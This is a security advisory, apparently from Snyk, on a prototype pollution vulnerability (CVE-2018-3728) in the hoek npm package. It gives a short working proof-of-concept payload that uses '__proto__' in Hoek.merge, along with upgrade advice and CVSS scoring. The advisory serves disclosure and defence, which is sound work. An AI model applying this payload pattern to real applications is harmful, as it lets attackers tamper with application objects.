Prototype Pollution

Affecting hoek package, versions <4.2.1 || >=5.0.0 <5.0.3

Overview

hoek is a Utility methods for the hapi ecosystem.

Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.

PoC by Olivier Arteau (HoLyVieR)

var Hoek = require('hoek');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
Hoek.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);

Remediation

Upgrade hoek to versions 4.2.1, 5.0.3 or higher.

References

Snyk patch available for versions:

Do your applications use this vulnerable package?

CVSS Score

1.8
low severity
  • Attack Vector
    Local
  • Attack Complexity
    High
  • Privileges Required
    High
  • User Interaction
    Required
  • Scope
    Unchanged
  • Confidentiality
    None
  • Integrity
    None
  • Availability
    Low
CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:U/C:N/I:N/A:L/E:F/RL:O/RC:C
Credit
Olivier Arteau (HoLyVieR)
CVE
CVE-2018-3728
CWE
CWE-400
Snyk ID
npm:hoek:20180212
Disclosed
12 Feb, 2018
Published
14 Feb, 2018